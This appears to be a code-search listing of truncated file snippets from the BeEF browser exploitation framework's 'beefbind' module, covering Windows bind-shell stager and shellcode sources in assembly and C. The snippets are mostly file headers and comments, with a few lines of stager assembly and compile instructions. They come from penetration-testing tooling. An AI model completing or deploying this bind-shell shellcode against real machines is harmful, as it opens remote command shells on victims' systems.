[SECTION .text] BITS 32 [ORG 0] ;code starts at offset 0 cld ;clear the direction flag call start ;jump over block_api and push its address onto the stack %include "src/block_api.asm" start: pop ebp ;pop the address of block_api into ebp for calling functions later %include "src/block_beef_bind-stager....
C
beef/modules/exploits/beefbind/shellcode_sources/windows/socket.c
/** Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net Browser Exploitation Framework (BeEF) - http://beefproject.com See the file 'doc/COPYING' for copying permission A standalone version can be compiled with MinGW: c:\MinGW\bin>gcc -o beefstager.exe beefstager.c and then executed with: c:\MinGW\bin>beefstag...
Assembly Language
beef/modules/exploits/beefbind/shellcode_sources/windows/src/block_api.asm
;-----------------------------------------------------------------------------; ; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 ; Version: 1.0 (24 July 2009) ; Size: 137 bytes ;------------------------------------------------------------------...
Assembly Language
beef/modules/exploits/beefbind/shellcode_sources/windows/src/block_beef_bind-stage.asm
;-----------------------------------------------------------------------------; ; Author: Ty Miller @ Threat Intelligence ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 ; Version: 1.0 (2nd December 2011) ;-----------------------------------------------------------------------------; [BITS 32] ;INPUT: EBP is...
Assembly Language
beef/modules/exploits/beefbind/shellcode_sources/windows/src/block_beef_bind-stager.asm
;-----------------------------------------------------------------------------; ; Author: Ty Miller @ Threat Intelligence ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 ; Version: 1.0 (2nd December 2011) ;-----------------------------------------------------------------------------; [BITS 32] ;INPUT: EBP is...
Assembly Language
beef/modules/exploits/beefbind/shellcode_sources/windows/src/block_bind_tcp.asm
;-----------------------------------------------------------------------------; ; Author: Stephen Fewer (stephen_fewer@harmonysecurity.com) ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 ; Version: 1.0 (24 July 2009) ;-----------------------------------------------------------------------------; [BITS 32] ;...
Assembly Language
beef/modules/exploits/beefbind/shellcode_sources/windows/src/block_pipes.asm
;-----------------------------------------------------------------------------; ; Author: Ty Miller @ Threat Intelligence ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 ; Version: 1.0 (2nd December 2011) ;-----------------------------------------------------------------------------; [BITS 32] ; Input: EBP i...
Assembly Language
beef/modules/exploits/beefbind/shellcode_sources/windows/src/block_shell_pipes.asm
;-----------------------------------------------------------------------------; ; Author: Ty Miller @ Threat Intelligence ; Credits: Some code borrowed from block_shell.asm; Stephen Fewer ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 ; Version: 1.0 (2nd December 2011) ;--------------------------------------...